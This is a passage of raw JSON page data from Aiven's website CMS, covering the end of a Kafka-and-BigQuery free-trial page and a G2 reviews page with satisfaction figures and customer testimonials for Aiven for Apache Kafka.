logo","asset":{"_ref":"image-203403621ac80cf3125943af581ab051cfe3b2fc-40x40-svg","_type":"reference"}},"title":"GDPR"}],"disabled":false,"fullWidth":true,"hostProviders":[{"_key":"v7bik1raysb85g4pbo795rplnze6wjam","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"8asri94jsp9quskxvw3fiukwq65vsstm","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"hbfe1plt6y9hq0mo4xfj8yt1d0t689vr","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"h7wavf424o2racavwx9eo1li1xkwigcx","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"egwogn3uhcphhswfceac807relbf022q","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"},{"_key":"87c060nukn92b6nx45ycr0rq8sce7sil","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"},{"_key":"7v5okvp93ivd276eo5co56yti1vq708n","_ref":"9039a507-d3b4-402a-964b-6fa829d56ef8","_type":"reference"}],"identity":[{"_key":"vkp4u9oz0gmmtl31beb3fmevt5m3gfcx","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Auth0 logo","asset":{"_ref":"image-2aadb73ffc8ecbc3747f4ba5ca1705b1e1f9e776-38x48-png","_type":"reference"}},"title":"Auth0"},{"_key":"tzfm5s0vfwe3yy1zcmpu5smq69eioep8","_type":"textIconItem","icon":{"_type":"mainImage","alt":"FusionAuth logo","asset":{"_ref":"image-464fc02ec7c43c5947991a0eb54dacf652749812-47x48-png","_type":"reference"}},"title":"FusionAuth"},{"_key":"ca4xdaeb2ri14s6icgw8mawcwbubez57","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Azure AD logo","asset":{"_ref":"image-6ea6284e995c0582493b818cbddd45f5b331204c-512x512-png","_type":"reference"}},"title":"Azure AD"},{"_key":"rrrx2004wobj0s4vduxjzx9k9k327s6u","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Okta logo","asset":{"_ref":"image-7ca00d77106a3a3e685189391226e0a369971d49-512x512-png","_type":"reference"}},"title":"Okta"},{"_key":"8magafoowln1w33ylj0v5zjsnrdg6j9l","_type":"textIconItem","icon":{"_type":"mainImage","alt":"OneLogin logo","asset":{"_ref":"image-cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462-png","_type":"reference"}},"title":"OneLogin"},{"_key":"hlkal5lk9l17re737lhryowtgmpfqwg8","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Google logo","asset":{"_ref":"image-67c9baae7ccc0cddbb36097f4245bb85e5bd15b5-49x48-png","_type":"reference"}},"title":"Google"}],"integrations":[{"_key":"rn9e04bcz0h27xdldvazt4u9t352zari","_ref":"22d8ccfb-b77c-4029-94c0-c7519397935a","_type":"reference"},{"_key":"gsd2gxlvvfm21ie8a9dh4il7g175sxep","_ref":"6b6199d0-5ca3-421d-91df-82fb15688d28","_type":"reference"},{"_key":"fu3f2gfbnd6mjbdjz5uggysvvn5ge1ch","_ref":"2ba1dfda-6041-4ac9-b258-085aa41ebfa1","_type":"reference"},{"_key":"6k1ybwr7kveril1cx36xngozt1y3vchh","_ref":"beb356d4-e5a4-4c9c-abfa-9f58e3d9cebc","_type":"reference"},{"_key":"gq9gftj1d2m4s7iyphj43313svrkufnz","_ref":"fb7167db-3a21-49ad-836b-c1b8b34eaa77","_type":"reference"},{"_key":"8wuwt68vztmsh49e2dxxrd9ucs07m9gz","_ref":"5965cdaa-ee18-4090-a084-62463619b757","_type":"reference"},{"_key":"g6eqj8st8s8v55wfnpo9xeipp9q15jfh","_ref":"ab20f261-f294-45ca-8289-e369255c7366","_type":"reference"},{"_key":"56mptf1ctfrkdy1jgomkuxk46fk2hn0b","_ref":"db1c8e5c-df2f-48b1-aae4-852962d61aeb","_type":"reference"},{"_key":"1ep5pptvv7uw3957szaik3kzlnklw3yr","_ref":"98cebc13-16ae-42db-a6de-4458949c0dc3","_type":"reference"},{"_key":"tpndoe43iojhp32h6ii74wo8spmyt20a","_ref":"76a88a82-92c9-409d-9f30-30207c9ba701","_type":"reference"},{"_key":"9c7j3hbwxpgrosawk8qpa2rcpw98xzlh","_ref":"5007821b-436e-4ebb-8a07-242c4a5f7448","_type":"reference"},{"_key":"843iwzcobymskewi57esm7bm1eb625bb","_ref":"157b3267-4eb0-49eb-ad17-537d5a95772d","_type":"reference"},{"_key":"4v49l6lo0hyo7fk3o8zcx875dyeoqz9k","_ref":"4bed5fe2-e20e-4edc-b54b-5bb47e9fd982","_type":"reference"},{"_key":"9pp3l37ypp1abmddprzpstitiscxa0er","_ref":"4b76ba83-b8b9-4f4e-b04f-670c2994ce1e","_type":"reference"}],"managed":[{"_key":"j0z2kvwu8ia5rx2ufl0paiufmebnjlk2","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40-svg","_type":"reference"}},"title":"Option for 24/7 enterprise support"},{"_key":"l1lc5csgseifqgdf4qs2jgrop6le9598","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40-svg","_type":"reference"}},"title":"99,99% uptime"},{"_key":"fkyhy9n7y594ee8amvnm95jj5oz9qfn8","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40-svg","_type":"reference"}},"title":"High availability"},{"_key":"1rrf9rble0r7oagbfzb4fiq6njlb19m6","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40-svg","_type":"reference"}},"title":"6+ clouds and 100+ regions"},{"_key":"j17w1be6xq8sl5jd3igmybvoarrphfar","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40-svg","_type":"reference"}},"title":"Automated backup"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","securityNetwork":[{"_key":"6lmkxpl70r3au77cixryodmxe0hhzf2p","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c195dd4a51d06e7435afd3a72c230871cb99de24-40x40-svg","_type":"reference"}},"title":"Encryption in transit and at rest"},{"_key":"c793ab9od2u86t32moy5ivd7ljrsfevh","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40-svg","_type":"reference"}},"title":"Dedicated virtual machines"},{"_key":"ho5id2jgnoyw3o5j4onqm0k6vv9cog9a","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40-svg","_type":"reference"}},"title":"Automated security updates"},{"_key":"sn603gvjcwuki8zb7vqufqailbw8hak2","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-4101100615713e748e9a72604adb0a26b86ab150-40x40-svg","_type":"reference"}},"title":"VPC Peering"},{"_key":"bm41yoxh0yryfmys52t2azrzhlbjf2fc","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40-svg","_type":"reference"}},"title":"Private-link"},{"_key":"vke7niyvotaeu27dvpvi91rqrdyb93p3","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e5612d6f4c1fce0ace581f6e2b1ff516f266ee26-40x40-svg","_type":"reference"}},"title":"Transit-gateway"}],"services":[{"_key":"3m6wyuo1qurhgqkcfq85x15i426wo2u0","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"40c022554b5b085eb607a7e99fa6e327","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},{"_key":"398c27acd4cf5be96f2e66c39ccd056a","_ref":"62cedd51-63b9-476e-8e2e-9076cef60562","_type":"reference"},{"_key":"9733a67d60334b85abdd445ea933a729","_ref":"db342e52-911f-4028-8bf6-22a131000126","_type":"reference"},{"_key":"a3cd65563f9e9611b3de0a1a91cf48ed","_ref":"dbcea4b7-b6c9-43d7-a23f-b09594966858","_type":"reference"},{"_key":"xr03wrrx3v9jgcvz3lje47p4ad5khjf3","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},{"_key":"ad4c3de0806aa44361db2d5a18ea2bf9","_ref":"4a513bb1-7be8-4a17-a847-cbbeedb2da2b","_type":"reference"},{"_key":"6abnb2rrk53dhc34rnhv78b1askbadw5","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"lv1expkffnnoimkfpi6kw0t4jpv8s0fk","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"bv3dhbr0g7kw4n4ig4spj2lw3zbcv2g7","_ref":"32901e10-74d0-48c8-a797-be1bb58c8839","_type":"reference"},{"_key":"vj47jd22avawjarzdg22rwz8mn0uzvvk","_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},{"_key":"vmp1x4d9y3c4maxj7of0heyecmxovyp9","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},{"_key":"qfzg2saxvrivvqgy3fw46xzvi7gng5er","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"dje39lr3ul4kevaycb6vv27bq5cszlo9","_ref":"d7af1e8f-797a-4896-8a4f-3cfc07701050","_type":"reference"},{"_key":"2ejg5o4l463grllrfpo7wrfy2ofoy4wb","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"subtitle":[{"_key":"f481e1fdaff8","_type":"block","children":[{"_key":"031e4992be7c","_type":"span","marks":[],"text":"Aiven’s all-in-one cloud data "},{"_key":"508695fe3d13","_type":"span","marks":["04a3c3ed82d7"],"text":"platform"},{"_key":"21a285ae3037","_type":"span","marks":[],"text":" combines all the tools you need to connect to the data services you use, on all major cloud providers."}],"markDefs":[{"_key":"04a3c3ed82d7","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"title":"What does Aiven do?","tools":[{"_key":"mrbkv55yyq58o6l145wlcxzltdly9mdw","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"reference"},{"_key":"rjaipxwvhwi867ro6tt94dxd5bif5rlu","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"reference"},{"_key":"kmz5b1ekng49pa0sfn2modp7s71bx08i","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"reference"},{"_key":"39vjwdk7yialn72zhfacjprkds3ufjxs","_ref":"7179878d-2860-4cc5-a30e-a1e24b236517","_type":"reference"}]},{"_key":"jzs1cspsy2slfsx1ej4yyuh8w0r4sfmg","_type":"arcade","addSpaceBottom":false,"addSpaceTop":false,"arcadeHeight":56,"arcadeID":"Qu23OFL2otb0JrreOt4L","arcadeTitle":"Create service","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"demo","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"30604e121d4a","_type":"block","children":[{"_key":"001bf4145684","_type":"span","marks":["b990e276fdd0"],"text":"Free plan"},{"_key":"614137824aea","_type":"span","marks":[],"text":" available with Aiven for PostgreSQL, Aiven for Valkey, and Aiven for MySQL."}],"markDefs":[{"_key":"b990e276fdd0","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"3ed20eaf78ba","_type":"block","children":[{"_key":"b71d1c5130cd","_type":"span","marks":[],"text":"Or, do a free "},{"_key":"27ee04f6a3e5","_type":"span","marks":["d74077c175c2"],"text":"30-day trial"},{"_key":"4983ba8898b3","_type":"span","marks":[],"text":" to try other services."}],"markDefs":[{"_key":"d74077c175c2","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-trial"}],"style":"normal"},{"_key":"fb7761a9f72a","_type":"block","children":[{"_key":"264f63c84d06","_type":"span","marks":[],"text":"$300 credit to play with"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c39a01d15660","_type":"block","children":[{"_key":"d3f14f62aa35","_type":"span","marks":[],"text":"Unrestricted access to Aiven services"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"87e0cdf2f5bf","_type":"block","children":[{"_key":"b4449bf32827","_type":"span","marks":[],"text":"If you continue using Aiven after your 30-day trial, you only pay for what you use. There are no hidden charges. You can shut it down, or spin up clusters, add services, or change cloud providers at the click of a button. "},{"_key":"532195100d48","_type":"span","marks":["dbae7e879485"],"text":"Try it now!"}],"markDefs":[{"_key":"dbae7e879485","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"}],"tagline":"Try the Aiven Platform","title":"Quick and easy","topOverlap":false,"variant":"split"}],"modals":[],"seo":{"_type":"metaData","metaDescription":"Develop fast analytics capabilities with the combination of Aiven for Apache Kafka and Google Cloud BigQuery. Start your free trial today","metaImage":{"_type":"mainImage","alt":"Integration of Aiven for Apache Kafka and Google Cloud BigQuery","asset":{"_ref":"image-f06358b0cc55ebe39500c870a72c3cf8d084c40b-1200x630-jpg","_type":"reference"}},"metaTitle":"Free trial: Aiven for Apache Kafka and Google BigQuery"},"slug":{"_type":"slug","current":"/gcp/bigquery-trial"},"title":"Free trial: Aiven for Apache Kafka and Google BigQuery"} {"__i18n_lang":"en","_createdAt":"2023-11-08T13:30:49Z","_id":"a66c7f87-67a5-469f-9c00-160b5f8335f7","_rev":"aLIIQ7Q5L2eXkJOQZBX8ET","_type":"page","_updatedAt":"2025-01-08T15:09:32Z","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"content":[{"_key":"b5f18da9abdc","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"G2 reviews","parentPage":{"_type":"link","internalLink":{"_ref":"04b8d980-f8cb-40c6-a6cb-54a2a9607e5a","_type":"reference"},"title":"Customer spotlight"}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"3393cb7f4e49","_type":"block","children":[{"_key":"c6772483e90f0","_type":"span","marks":[],"text":"Discover why "},{"_key":"23b4eaf99114","_type":"span","marks":["color-primary"],"text":"data engineers "},{"_key":"dcbdfb6e756b","_type":"span","marks":[],"text":"and "},{"_key":"6888b18c44e8","_type":"span","marks":["color-primary"],"text":"enterprise architects"},{"_key":"39d5735fd514","_type":"span","marks":[],"text":" are raving about Aiven"}],"markDefs":[],"style":"h1"}],"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/G2-Apache-Kafka-report","title":"Download report"},"roundedCorners":"rounded-b","title":"Discover why customers love Aiven for Apache Kafka®!","titleMultiColor":false,"variant":"compact"},{"_key":"58077c6c9cf8","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"disclaimer":[{"_key":"d106e3e954ac","_type":"block","children":[{"_key":"9ce6e5144353","_type":"span","marks":["e6b6cb1ba0f5"],"text":"G2 Grid® for Event Stream Processing Software | Spring 2024"}],"markDefs":[{"_key":"e6b6cb1ba0f5","_type":"link","href":"https://www.g2.com/reports/grid-report-for-event-stream-processing-spring-2024?secure%5Bpid%5D=129332\u0026secure%5Brid%5D=3127307\u0026secure%5Btoken%5D=7975639441aeaa508c4277ba316e47f5b37f76fb258a16aa999e022cd442b448"}],"style":"normal"}],"fullWidth":false,"headerPosition":"default","iframeHeight":498,"iframeSource":"https://www.g2.com/reports/5387908c-af2f-4e76-abd8-6842440c8a05/products/aiven-for-apache-kafka/grid.embed","iframeTitle":"G2 Grid® for Event Stream Processing Software | Spring 2024","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"77558816bb46","_type":"block","children":[{"_key":"ce5b0013dc2b0","_type":"span","marks":[],"text":"See how real users rate the top vendors so you can make a more informed decision for your data streaming and event-driven architecture solutions. Aiven for Apache Kafka® leads with an impressive 71% Momentum score and "},{"_key":"fc12201aae55","_type":"span","marks":["strong"],"text":"98% satisfaction!"}],"markDefs":[],"style":"normal"},{"_key":"c92f01c6ab8e","_type":"block","children":[{"_key":"09e92d6ae32c0","_type":"span","marks":[],"text":"It’s all covered in the latest G2 Momentum Grid® report."}],"markDefs":[],"style":"normal"},{"_key":"d8e8724d55d4","_type":"block","children":[{"_key":"2be1f3e6950f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka® named G2 Momentum Leader","topOverlap":false},{"_key":"37ab165f0736","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"630045cfa5f4","_type":"numberItem","description":[{"_key":"d7f09ee8ca64","_type":"block","children":[{"_key":"77dab202b033","_type":"span","marks":["strong"],"text":"satisfaction "},{"_key":"2f684c925e20","_type":"span","marks":[],"text":"- the highest of \nall streaming services"}],"markDefs":[],"style":"normal"}],"number":"98%"},{"_key":"afb6f997f518","_type":"numberItem","description":[{"_key":"75ee2c740325","_type":"block","children":[{"_key":"54ea8d1980fc","_type":"span","marks":[],"text":"of reviewers would "},{"_key":"6052e93f43d0","_type":"span","marks":["strong"],"text":"recommend"},{"_key":"2e9714a7a393","_type":"span","marks":[],"text":" \nAiven for Apache Kafka®"}],"markDefs":[],"style":"normal"}],"number":"88%"},{"_key":"d1115f8f52c1","_type":"numberItem","description":[{"_key":"07a7ee014e55","_type":"block","children":[{"_key":"5f99c5723b05","_type":"span","marks":[],"text":"months average \ntime to "},{"_key":"d7fcb981e893","_type":"span","marks":["strong"],"text":"go live"}],"markDefs":[],"style":"normal"}],"number":"2.14"}],"roundedCorners":"rounded-none","subtitle":[{"_key":"67da63d8883c","_type":"block","children":[{"_key":"18926d702f9e","_type":"span","marks":[],"text":"Aiven for Apache Kafka® leads with an impressive"},{"_key":"02727c8844ae","_type":"span","marks":["strong"],"text":" 71% Momentum score"},{"_key":"2c0b3207a884","_type":"span","marks":[],"text":" on top of:"}],"markDefs":[],"style":"normal"}],"title":"Highlights from the G2 report","topOverlap":false},{"_key":"6d2eb19a6100","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","ctaLink":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Talk to an expert"},"disabled":false,"fullWidth":true,"isCarousel":false,"items":[{"_key":"e3065d7c843d7cd07677144bec87c7f0","_type":"testimonialItem","content":[{"_key":"54b44f146da2","_type":"block","children":[{"_key":"06ed0fc18a4b0","_type":"span","marks":[],"text":"Good solution for Streamlined Data Processing"}],"markDefs":[],"style":"h4"},{"_key":"9502dff74857","_type":"block","children":[{"_key":"c99b69fd3fdc0","_type":"span","marks":[],"text":"What I like best about Aiven for Apache Kafka is its remarkable ease of use and efficient management interface. Setting up and configuring Kafka clusters is a breeze."}],"markDefs":[],"style":"normal"},{"_key":"90fb6d9d9e50","_type":"block","children":[{"_key":"0c35a6c14bcb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"61ca748c21d4","_type":"block","children":[{"_key":"4b5e7b2d75a40","_type":"span","marks":[],"text":"User in Mental Health Care"}],"markDefs":[],"style":"normal"},{"_key":"d9ff446f4791","_type":"block","children":[{"_key":"c5fc89f9945a","_type":"span","marks":[],"text":"Enterprise (\u003e1000 emp.)"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.g2.com/products/aiven-for-apache-kafka/reviews/aiven-for-apache-kafka-review-8488252","title":"See review"},"image":{"_type":"mainImage","asset":{"_ref":"image-a720b97f85282a07344d90f4951575672aac7293-193x72-svg","_type":"reference"}}},{"_key":"36fa462bf747","_type":"testimonialItem","content":[{"_key":"7be65dbcabab","_type":"block","children":[{"_key":"71807e53f2ce0","_type":"span","marks":[],"text":"Aiven is an amazing tool!"}],"markDefs":[],"style":"h4"},{"_key":"213037f51b24","_type":"block","children":[{"_key":"f488803a30e30","_type":"span","marks":[],"text":"One cool thing I really like about Aiven is how it simplifies managing Kafka clusters. The user interface is super user-friendly, even for folks who aren’t total tech wizards."}],"markDefs":[],"style":"normal"},{"_key":"b3a69fc5cbe3","_type":"block","children":[{"_key":"7439291a753c0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"df465e3c21d0","_type":"block","children":[{"_key":"7ad8e71ad7bd","_type":"span","marks":[],"text":"Nikhil M."}],"markDefs":[],"style":"normal"},{"_key":"e0c5aa5cdba3","_type":"block","children":[{"_key":"89f9880237540","_type":"span","marks":[],"text":"Mid-Market (51-1000 emp.)"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.g2.com/products/aiven-for-apache-kafka/reviews/aiven-for-apache-kafka-review-8503110","title":"See review"},"image":{"_type":"mainImage","asset":{"_ref":"image-aa01de303af5ae4a60d90bbd65ed85560029578c-193x72-svg","_type":"reference"}}},{"_key":"3af458907895","_type":"testimonialItem","content":[{"_key":"e0445363ef43","_type":"block","children":[{"_key":"0a3112ec3bb1","_type":"span","marks":[],"text":"Reliable and Responsive Kafka Hosting Service"}],"markDefs":[],"style":"h4"},{"_key":"3db723afc85b","_type":"block","children":[{"_key":"95ff1d62c4e10","_type":"span","marks":[],"text":"They have been a reliable and responsive partner for our organization's event-driven architecture, enabling us to run our systems smoothly with a small team of engineers."}],"markDefs":[],"style":"normal"},{"_key":"a92598855f89","_type":"block","children":[{"_key":"0597a86bccfb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ec17ad5e0661","_type":"block","children":[{"_key":"3bdfbb9ea20c0","_type":"span","marks":[],"text":"Carlos A."}],"markDefs":[],"style":"normal"},{"_key":"31a1676dc271","_type":"block","children":[{"_key":"bb88c7ed0a710","_type":"span","marks":[],"text":"Small-Business (\u003c50 emp.)"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.g2.com/products/aiven-for-apache-kafka/reviews/aiven-for-apache-kafka-review-8121781","title":"See review"},"image":{"_type":"mainImage","asset":{"_ref":"image-0dd4b1ae74d4128d5fddc3e6b4bd614d05fd25c0-193x72-svg","_type":"reference"}}},{"_key":"317824e771ba","_type":"testimonialItem","content":[{"_key":"e17b01a2ba29","_type":"block","children":[{"_key":"651ae0dc60f6","_type":"span","marks":[],"text":"Great managed Kafka solution"}],"markDefs":[],"style":"h4"},{"_key":"4b1239dff89b","_type":"block","children":[{"_key":"f543ac69e5db0","_type":"span","marks":[],"text":"Easy to operate, upgrades and maintenance without any big effort, open source version of Kafka, and offers a lot of options."}],"markDefs":[],"style":"normal"},{"_key":"0c1695da863f","_type":"block","children":[{"_key":"3bab5fe72feb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"93ba495dfbfa","_type":"block","children":[{"_key":"f7135b6c20a30","_type":"span","marks":[],"text":"Janek W."}],"markDefs":[],"style":"normal"},{"_key":"5286390a04b9","_type":"block","children":[{"_key":"6177f69b7ec30","_type":"span","marks":[],"text":"Enterprise (\u003e1000 emp.)"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.g2.com/products/aiven-for-apache-kafka/reviews/aiven-for-apache-kafka-review-8977422","title":"See review"},"image":{"_type":"mainImage","asset":{"_ref":"image-0dd4b1ae74d4128d5fddc3e6b4bd614d05fd25c0-193x72-svg","_type":"reference"}}},{"_key":"761e333e64c9","_type":"testimonialItem","content":[{"_key":"3f1f8c2a6e2a","_type":"block","children":[{"_key":"36feef785e5e","_type":"span","marks":[],"text":"Enterprise grade solution, professional service, startup friendly"}],"markDefs":[],"style":"h4"},{"_key":"b4a675fe7b91","_type":"block","children":[{"_key":"5ddfcad52c3b0","_type":"span","marks":[],"text":"Aiven is effortless to set-up, highly flexible, and incredibly robust to operate. Also offers white-glove support and customer service."}],"markDefs":[],"style":"normal"},{"_key":"23ab09192ac9","_type":"block","children":[{"_key":"a3581de14aad","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"05cdba89ab54","_type":"block","children":[{"_key":"f7c662343d460","_type":"span","marks":[],"text":"Burak O."}],"markDefs":[],"style":"normal"},{"_key":"d002eb9c70d9","_type":"block","children":[{"_key":"f2b0c49df94f0","_type":"span","marks":[],"text":"Small-Business (\u003c50 emp.)"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.g2.com/products/aiven-platform/reviews/aiven-platform-review-9047125","title":"See review"},"image":{"_type":"mainImage","asset":{"_ref":"image-0dd4b1ae74d4128d5fddc3e6b4bd614d05fd25c0-193x72-svg","_type":"reference"}}},{"_key":"81042b68ac57","_type":"testimonialItem","content":[{"_key":"36702c8739f0","_type":"block","children":[{"_key":"09a0824b7b31","_type":"span","marks":[],"text":"Aiven makes light work of an otherwise rather complex solution"}],"markDefs":[],"style":"h4"},{"_key":"b67157a5859b","_type":"block","children":[{"_key":"07e6a60af7f10","_type":"span","marks":[],"text":"I set up my cluster in Aiven when I first joined and I haven't had to touch it--it just works! Saves me countless hours and resources!"}],"markDefs":[],"style":"normal"},{"_key":"b9bdc06d66d0","_type":"block","children":[{"_key":"fbc2b8ee499b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bbd850d7d724","_type":"block","children":[{"_key":"63d3aedbe7e00","_type":"span","marks":[],"text":"Brian W."}],"markDefs":[],"style":"normal"},{"_key":"08cae804a0d0","_type":"block","children":[{"_key":"a9b1c0de33e10","_type":"span","marks":[],"text":"Small-Business (\u003c50 emp.)"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.g2.com/products/aiven-for-apache-kafka/reviews/aiven-for-apache-kafka-review-8365220","title":"See review"},"image":{"_type":"mainImage","asset":{"_ref":"image-0dd4b1ae74d4128d5fddc3e6b4bd614d05fd25c0-193x72-svg","_type":"reference"}}}],"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Customer reviews","variant":"logo"},{"_key":"702421195b35","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.g2.com/products/aiven-for-apache-kafka/reviews","title":"Read the reviews"},"roundedCorners":"rounded-none","subtitle":[{"_key":"cabb944c8fcc","_type":"block","children":[{"_key":"6c11b42ad7660","_type":"span","marks":[],"text":"Read all of the customer reviews on Aiven for Apache Kafka®:"}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"centerColumn"},{"_key":"6d24a418010eeb7eb69a3f0d5ae0690e","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"isCarousel":false,"items":[{"_key":"e3065d7c843d7cd07677144bec87c7f0","_type":"testimonialItem","content":[{"_key":"4925f2ea3e98","_type":"block","children":[{"_key":"2786284a97630","_type":"span","marks":[],"text":"“With Aiven, we now have the flexibility to enormously scale to accept new data and new users and ingest everything into the analytics layer.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191-png","_type":"reference"}}},{"_key":"36fa462bf747","_type":"testimonialItem","content":[{"_key":"78f2454bc4c7","_type":"block","children":[{"_key":"1bc825e0a1fd0","_type":"span","marks":[],"text":"“Aiven ticked all the boxes. The others couldn’t match the technical capabilities of the Aiven platform, and we also wanted predictability, especially with pricing.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-8fdf2cff104a37a3df84cdb80f753d4218dcdc5a-657x200-png","_type":"reference"}}},{"_key":"3af458907895","_type":"testimonialItem","content":[{"_key":"8dd2098edb79","_type":"block","children":[{"_key":"8101c046ff6a0","_type":"span","marks":[],"text":"“Aiven makes it enterprise- ready through their value-add services like support, performance optimization, and 